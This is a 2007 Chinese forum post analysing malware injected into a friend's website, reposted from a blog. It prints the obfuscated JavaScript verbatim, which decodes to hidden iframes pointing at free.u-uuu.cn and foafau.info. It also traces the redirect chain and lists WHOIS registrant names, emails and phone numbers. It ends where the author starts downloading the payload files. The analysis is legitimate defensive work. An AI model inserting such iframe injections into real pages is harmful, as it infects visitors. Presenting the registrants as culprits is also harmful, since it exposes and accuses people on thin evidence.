一篇刚写的分析木马手记|口- 技术交流 - 若水UEBBS.COM社区—〖石家庄经济学院论坛〗

卫

级别: 店掌柜

发帖: 5692

铜板: 103378

人品值: 1520

贡献值: 26

交易币: 0

好评度: 5373

信誉值: 0

金币: 0

所在楼道

只看楼主更多操作楼层直达

0 发表于: 2007-12-07

首发在我的博客里面，

http://www.areway.cn/?p=175

周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：

<script>t=’60,105,102,114,97,109,101,
32,115,114,99,61,104,116,116,112,58,47,47,
102,114,101,101,46,117,45,117,117,117,46,99,
110,47,101,114,114,111,114,46,104,116,109,
32,119,105,100,116,104,61,49,48,48,32,104,
101,105,103,104,116,61,48,62,60,47,105,102,
114,97,109,101,62′;
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>

<script>t=’60,105,102,114,97,109,101,32,115,
114,99,61,104,116,116,112,58,47,47,102,114,
101,101,46,117,45,117,117,117,46,99,110,47,
101,114,114,111,114,46,104,116,109,32,119,
105,100,116,104,61,49,48,48,32,104,101,105,
103,104,116,61,48,62,60,47,105,102,114,97,
109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
document.write(t);</script>

<html xmlns=”
http://www.w3.org/1999/xhtml
“>
<head>
<!– Published By Newasp.cc 2007-12-7-18:03:23 –>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
<title>首页 - 爱生活家庭网

上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
转换字符串后的大概内容是（谁点击后果自付）：
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………

查询玉米u-uuu.cn的详细信息：
Domain Name: u-uuu.cn
ROID: 20070901s10001s64972306-cn
Domain Status: ok
Registrant Organization: 王雷
Registrant Name: 王雷
Administrative Email: czlovexs@126.com
Sponsoring Registrar: 北京万网志成科技有限公司
Name Server:ns.yovole.com
Name Server:ns1.yovole.com
Registration Date: 2007-09-01 17:54
Expiration Date: 2008-09-01 17:54
最后PING了一下地址都没有什么….

上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
<script language=”javascript” src=”
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script
>
这个玉米应该有可能是木马作者的：
foafau.info的详细信息：
Access to INFO WHOIS information is provided to assist persons in
determining the contents of a domain name registration record in the
Afilias registry database. The data in this record is provided by
Afilias Limited for informational purposes only, and Afilias does not
guarantee its accuracy. This service is intended only for query-based
access. You agree that you will use this data only for lawful purposes
and that, under no circumstances will you use this data to: (a) allow,
enable, or otherwise support the transmission by e-mail, telephone, or
facsimile of mass unsolicited, commercial advertising or solicitations
to entities other than the data recipient’s own existing customers; or
(b) enable high volume, automated, electronic processes that send
queries or data to the systems of Registry Operator, a Registrar, or
Afilias except as reasonably necessary to register domain names or
modify existing registrations. All rights reserved. Afilias reserves
the right to modify these terms at any time. By submitting this query,
you agree to abide by this policy.
Domain ID:D22418703-LRMS
Domain Name:FOAFAU.INFO
Created On:20-Nov-2007 16:05:42 UTC
Last Updated On:20-Nov-2007 16:05:44 UTC
Expiration Date:20-Nov-2008 16:05:42 UTC
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Status:CLIENT DELETE PROHIBITED
Status:CLIENT RENEW PROHIBITED
Status:CLIENT TRANSFER PROHIBITED
Status:CLIENT UPDATE PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:GODA-040110615
Registrant Name:liu hong
Registrant Organization:
Registrant Street1:beijing
Registrant Street2:
Registrant Street3:
Registrant City:beijing
Registrant State/Province:
Registrant Postal Code:100000
Registrant Country:CN
Registrant Phone:+86.860108888777
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:bbbshiji@163.com
Admin ID:GODA-240110615
Admin Name:liu hong
Admin Organization:
Admin Street1:beijing
Admin Street2:
Admin Street3:
Admin City:beijing
Admin State/Province:
Admin Postal Code:100000
Admin Country:CN
Admin Phone:+86.860108888777
Admin Phone Ext.:
Admin FAX:
Admin FAX Ext.:
Admin Email:bbbshiji@163.com
Billing ID:GODA-340110615
Billing Name:liu hong
Billing Organization:
Billing Street1:beijing
Billing Street2:
Billing Street3:
Billing City:beijing
Billing State/Province:
Billing Postal Code:100000
Billing Country:CN
Billing Phone:+86.860108888777
Billing Phone Ext.:
Billing FAX:
Billing FAX Ext.:
Billing Email:bbbshiji@163.com
Tech ID:GODA-140110615
Tech Name:liu hong
Tech Organization:
Tech Street1:beijing
Tech Street2:
Tech Street3:
Tech City:beijing
Tech State/Province:
Tech Postal Code:100000
Tech Country:CN
Tech Phone:+86.860108888777
Tech Phone Ext.:
Tech FAX:
Tech FAX Ext.:
Tech Email:bbbshiji@163.com
Name Server:NS27.DOMAINCONTROL.COM
Name Server:NS28.DOMAINCONTROL.COM
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:

接着下载每个文件里面的代码：
一步一步看..